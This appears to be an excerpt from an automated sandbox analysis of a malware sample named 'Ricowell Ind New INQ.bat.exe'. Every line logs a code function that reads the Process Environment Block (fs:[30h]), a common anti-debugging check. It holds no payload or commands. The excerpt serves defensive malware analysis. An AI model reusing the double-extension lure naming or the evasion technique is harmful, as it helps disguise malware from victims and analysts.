Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BB490 mov eax, dword ptr fs:[00000030h]	3_2_378BB490
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BB490 mov eax, dword ptr fs:[00000030h]	3_2_378BB490
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B44A8 mov eax, dword ptr fs:[00000030h]	3_2_378B44A8
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378824A2 mov eax, dword ptr fs:[00000030h]	3_2_378824A2
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378824A2 mov ecx, dword ptr fs:[00000030h]	3_2_378824A2
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790D4A0 mov ecx, dword ptr fs:[00000030h]	3_2_3790D4A0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790D4A0 mov eax, dword ptr fs:[00000030h]	3_2_3790D4A0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790D4A0 mov eax, dword ptr fs:[00000030h]	3_2_3790D4A0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE4BC mov eax, dword ptr fs:[00000030h]	3_2_378BE4BC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A14C9 mov eax, dword ptr fs:[00000030h]	3_2_378A14C9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A14C9 mov eax, dword ptr fs:[00000030h]	3_2_378A14C9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A14C9 mov eax, dword ptr fs:[00000030h]	3_2_378A14C9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A14C9 mov eax, dword ptr fs:[00000030h]	3_2_378A14C9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A14C9 mov eax, dword ptr fs:[00000030h]	3_2_378A14C9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF4D0 mov eax, dword ptr fs:[00000030h]	3_2_378AF4D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF4D0 mov eax, dword ptr fs:[00000030h]	3_2_378AF4D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF4D0 mov eax, dword ptr fs:[00000030h]	3_2_378AF4D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF4D0 mov eax, dword ptr fs:[00000030h]	3_2_378AF4D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF4D0 mov eax, dword ptr fs:[00000030h]	3_2_378AF4D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF4D0 mov eax, dword ptr fs:[00000030h]	3_2_378AF4D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF4D0 mov eax, dword ptr fs:[00000030h]	3_2_378AF4D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF4D0 mov eax, dword ptr fs:[00000030h]	3_2_378AF4D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF4D0 mov eax, dword ptr fs:[00000030h]	3_2_378AF4D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A44D1 mov eax, dword ptr fs:[00000030h]	3_2_378A44D1
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A44D1 mov eax, dword ptr fs:[00000030h]	3_2_378A44D1
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE4EF mov eax, dword ptr fs:[00000030h]	3_2_378BE4EF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE4EF mov eax, dword ptr fs:[00000030h]	3_2_378BE4EF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B54E0 mov eax, dword ptr fs:[00000030h]	3_2_378B54E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F4FD mov eax, dword ptr fs:[00000030h]	3_2_3793F4FD
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A94FA mov eax, dword ptr fs:[00000030h]	3_2_378A94FA
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378864F0 mov eax, dword ptr fs:[00000030h]	3_2_378864F0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA4F0 mov eax, dword ptr fs:[00000030h]	3_2_378BA4F0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA4F0 mov eax, dword ptr fs:[00000030h]	3_2_378BA4F0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787640D mov eax, dword ptr fs:[00000030h]	3_2_3787640D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37916400 mov eax, dword ptr fs:[00000030h]	3_2_37916400
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37916400 mov eax, dword ptr fs:[00000030h]	3_2_37916400
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F409 mov eax, dword ptr fs:[00000030h]	3_2_3793F409
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787B420 mov eax, dword ptr fs:[00000030h]	3_2_3787B420
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B7425 mov eax, dword ptr fs:[00000030h]	3_2_378B7425
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B7425 mov ecx, dword ptr fs:[00000030h]	3_2_378B7425
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37909429 mov eax, dword ptr fs:[00000030h]	3_2_37909429
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790F42F mov eax, dword ptr fs:[00000030h]	3_2_3790F42F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790F42F mov eax, dword ptr fs:[00000030h]	3_2_3790F42F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790F42F mov eax, dword ptr fs:[00000030h]	3_2_3790F42F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790F42F mov eax, dword ptr fs:[00000030h]	3_2_3790F42F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790F42F mov eax, dword ptr fs:[00000030h]	3_2_3790F42F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890445 mov eax, dword ptr fs:[00000030h]	3_2_37890445
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890445 mov eax, dword ptr fs:[00000030h]	3_2_37890445
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890445 mov eax, dword ptr fs:[00000030h]	3_2_37890445
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890445 mov eax, dword ptr fs:[00000030h]	3_2_37890445
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890445 mov eax, dword ptr fs:[00000030h]	3_2_37890445
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890445 mov eax, dword ptr fs:[00000030h]	3_2_37890445
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE45E mov eax, dword ptr fs:[00000030h]	3_2_378AE45E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE45E mov eax, dword ptr fs:[00000030h]	3_2_378AE45E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE45E mov eax, dword ptr fs:[00000030h]	3_2_378AE45E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE45E mov eax, dword ptr fs:[00000030h]	3_2_378AE45E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE45E mov eax, dword ptr fs:[00000030h]	3_2_378AE45E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BD450 mov eax, dword ptr fs:[00000030h]	3_2_378BD450
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BD450 mov eax, dword ptr fs:[00000030h]	3_2_378BD450
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788D454 mov eax, dword ptr fs:[00000030h]	3_2_3788D454
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788D454 mov eax, dword ptr fs:[00000030h]	3_2_3788D454
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788D454 mov eax, dword ptr fs:[00000030h]	3_2_3788D454
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788D454 mov eax, dword ptr fs:[00000030h]	3_2_3788D454
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788D454 mov eax, dword ptr fs:[00000030h]	3_2_3788D454
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788D454 mov eax, dword ptr fs:[00000030h]	3_2_3788D454
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F478 mov eax, dword ptr fs:[00000030h]	3_2_3793F478
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794A464 mov eax, dword ptr fs:[00000030h]	3_2_3794A464
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37888470 mov eax, dword ptr fs:[00000030h]	3_2_37888470
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37888470 mov eax, dword ptr fs:[00000030h]	3_2_37888470
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37881380 mov eax, dword ptr fs:[00000030h]	3_2_37881380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37881380 mov eax, dword ptr fs:[00000030h]	3_2_37881380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37881380 mov eax, dword ptr fs:[00000030h]	3_2_37881380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37881380 mov eax, dword ptr fs:[00000030h]	3_2_37881380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37881380 mov eax, dword ptr fs:[00000030h]	3_2_37881380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789F380 mov eax, dword ptr fs:[00000030h]	3_2_3789F380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789F380 mov eax, dword ptr fs:[00000030h]	3_2_3789F380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789F380 mov eax, dword ptr fs:[00000030h]	3_2_3789F380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789F380 mov eax, dword ptr fs:[00000030h]	3_2_3789F380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789F380 mov eax, dword ptr fs:[00000030h]	3_2_3789F380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789F380 mov eax, dword ptr fs:[00000030h]	3_2_3789F380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F38A mov eax, dword ptr fs:[00000030h]	3_2_3793F38A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AA390 mov eax, dword ptr fs:[00000030h]	3_2_378AA390
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AA390 mov eax, dword ptr fs:[00000030h]	3_2_378AA390
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AA390 mov eax, dword ptr fs:[00000030h]	3_2_378AA390
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378893A6 mov eax, dword ptr fs:[00000030h]	3_2_378893A6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378893A6 mov eax, dword ptr fs:[00000030h]	3_2_378893A6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FC3B0 mov eax, dword ptr fs:[00000030h]	3_2_378FC3B0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787C3C7 mov eax, dword ptr fs:[00000030h]	3_2_3787C3C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378863CB mov eax, dword ptr fs:[00000030h]	3_2_378863CB
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379043D5 mov eax, dword ptr fs:[00000030h]	3_2_379043D5
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787E3C0 mov eax, dword ptr fs:[00000030h]	3_2_3787E3C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787E3C0 mov eax, dword ptr fs:[00000030h]	3_2_3787E3C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787E3C0 mov eax, dword ptr fs:[00000030h]	3_2_3787E3C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B33D0 mov eax, dword ptr fs:[00000030h]	3_2_378B33D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B43D0 mov ecx, dword ptr fs:[00000030h]	3_2_378B43D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37879303 mov eax, dword ptr fs:[00000030h]	3_2_37879303
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37879303 mov eax, dword ptr fs:[00000030h]	3_2_37879303
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B631F mov eax, dword ptr fs:[00000030h]	3_2_378B631F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789E310 mov eax, dword ptr fs:[00000030h]	3_2_3789E310
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789E310 mov eax, dword ptr fs:[00000030h]	3_2_3789E310
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789E310 mov eax, dword ptr fs:[00000030h]	3_2_3789E310
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F30A mov eax, dword ptr fs:[00000030h]	3_2_3793F30A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790330C mov eax, dword ptr fs:[00000030h]	3_2_3790330C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790330C mov eax, dword ptr fs:[00000030h]	3_2_3790330C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790330C mov eax, dword ptr fs:[00000030h]	3_2_3790330C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790330C mov eax, dword ptr fs:[00000030h]	3_2_3790330C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37953336 mov eax, dword ptr fs:[00000030h]	3_2_37953336
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A332D mov eax, dword ptr fs:[00000030h]	3_2_378A332D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B8322 mov eax, dword ptr fs:[00000030h]	3_2_378B8322
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B8322 mov eax, dword ptr fs:[00000030h]	3_2_378B8322
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B8322 mov eax, dword ptr fs:[00000030h]	3_2_378B8322
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787E328 mov eax, dword ptr fs:[00000030h]	3_2_3787E328
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787E328 mov eax, dword ptr fs:[00000030h]	3_2_3787E328
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787E328 mov eax, dword ptr fs:[00000030h]	3_2_3787E328
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37878347 mov eax, dword ptr fs:[00000030h]	3_2_37878347
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37878347 mov eax, dword ptr fs:[00000030h]	3_2_37878347
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37878347 mov eax, dword ptr fs:[00000030h]	3_2_37878347
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA350 mov eax, dword ptr fs:[00000030h]	3_2_378BA350
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37900371 mov eax, dword ptr fs:[00000030h]	3_2_37900371
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37900371 mov eax, dword ptr fs:[00000030h]	3_2_37900371
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B360 mov eax, dword ptr fs:[00000030h]	3_2_3788B360
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B360 mov eax, dword ptr fs:[00000030h]	3_2_3788B360
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B360 mov eax, dword ptr fs:[00000030h]	3_2_3788B360
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B360 mov eax, dword ptr fs:[00000030h]	3_2_3788B360
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B360 mov eax, dword ptr fs:[00000030h]	3_2_3788B360
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B360 mov eax, dword ptr fs:[00000030h]	3_2_3788B360
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE363 mov eax, dword ptr fs:[00000030h]	3_2_378BE363
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE363 mov eax, dword ptr fs:[00000030h]	3_2_378BE363
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE363 mov eax, dword ptr fs:[00000030h]	3_2_378BE363
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE363 mov eax, dword ptr fs:[00000030h]	3_2_378BE363
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE363 mov eax, dword ptr fs:[00000030h]	3_2_378BE363
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE363 mov eax, dword ptr fs:[00000030h]	3_2_378BE363
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE363 mov eax, dword ptr fs:[00000030h]	3_2_378BE363
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE363 mov eax, dword ptr fs:[00000030h]	3_2_378BE363
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A237A mov eax, dword ptr fs:[00000030h]	3_2_378A237A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE372 mov eax, dword ptr fs:[00000030h]	3_2_378FE372
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE372 mov eax, dword ptr fs:[00000030h]	3_2_378FE372
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE372 mov eax, dword ptr fs:[00000030h]	3_2_378FE372
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE372 mov eax, dword ptr fs:[00000030h]	3_2_378FE372
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE289 mov eax, dword ptr fs:[00000030h]	3_2_378FE289
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37887290 mov eax, dword ptr fs:[00000030h]	3_2_37887290
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37887290 mov eax, dword ptr fs:[00000030h]	3_2_37887290
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37887290 mov eax, dword ptr fs:[00000030h]	3_2_37887290
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A42AF mov eax, dword ptr fs:[00000030h]	3_2_378A42AF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A42AF mov eax, dword ptr fs:[00000030h]	3_2_378A42AF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378792AF mov eax, dword ptr fs:[00000030h]	3_2_378792AF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795B2BC mov eax, dword ptr fs:[00000030h]	3_2_3795B2BC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795B2BC mov eax, dword ptr fs:[00000030h]	3_2_3795B2BC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795B2BC mov eax, dword ptr fs:[00000030h]	3_2_3795B2BC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795B2BC mov eax, dword ptr fs:[00000030h]	3_2_3795B2BC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787C2B0 mov ecx, dword ptr fs:[00000030h]	3_2_3787C2B0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F2AE mov eax, dword ptr fs:[00000030h]	3_2_3793F2AE
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379492AB mov eax, dword ptr fs:[00000030h]	3_2_379492AB
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B32C0 mov eax, dword ptr fs:[00000030h]	3_2_378B32C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B32C0 mov eax, dword ptr fs:[00000030h]	3_2_378B32C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A32C5 mov eax, dword ptr fs:[00000030h]	3_2_378A32C5
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379532C9 mov eax, dword ptr fs:[00000030h]	3_2_379532C9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378772E0 mov eax, dword ptr fs:[00000030h]	3_2_378772E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3788A2E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3788A2E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3788A2E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3788A2E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3788A2E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3788A2E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378882E0 mov eax, dword ptr fs:[00000030h]	3_2_378882E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378882E0 mov eax, dword ptr fs:[00000030h]	3_2_378882E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378882E0 mov eax, dword ptr fs:[00000030h]	3_2_378882E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378882E0 mov eax, dword ptr fs:[00000030h]	3_2_378882E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787D2EC mov eax, dword ptr fs:[00000030h]	3_2_3787D2EC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787D2EC mov eax, dword ptr fs:[00000030h]	3_2_3787D2EC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378902F9 mov eax, dword ptr fs:[00000030h]	3_2_378902F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378902F9 mov eax, dword ptr fs:[00000030h]	3_2_378902F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378902F9 mov eax, dword ptr fs:[00000030h]	3_2_378902F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378902F9 mov eax, dword ptr fs:[00000030h]	3_2_378902F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378902F9 mov eax, dword ptr fs:[00000030h]	3_2_378902F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378902F9 mov eax, dword ptr fs:[00000030h]	3_2_378902F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378902F9 mov eax, dword ptr fs:[00000030h]	3_2_378902F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378902F9 mov eax, dword ptr fs:[00000030h]	3_2_378902F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790B214 mov eax, dword ptr fs:[00000030h]	3_2_3790B214
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790B214 mov eax, dword ptr fs:[00000030h]	3_2_3790B214
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787A200 mov eax, dword ptr fs:[00000030h]	3_2_3787A200
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787821B mov eax, dword ptr fs:[00000030h]	3_2_3787821B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA22B mov eax, dword ptr fs:[00000030h]	3_2_378BA22B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA22B mov eax, dword ptr fs:[00000030h]	3_2_378BA22B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA22B mov eax, dword ptr fs:[00000030h]	3_2_378BA22B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37900227 mov eax, dword ptr fs:[00000030h]	3_2_37900227
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37900227 mov eax, dword ptr fs:[00000030h]	3_2_37900227
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37900227 mov eax, dword ptr fs:[00000030h]	3_2_37900227
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A0230 mov ecx, dword ptr fs:[00000030h]	3_2_378A0230
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF24A mov eax, dword ptr fs:[00000030h]	3_2_378AF24A
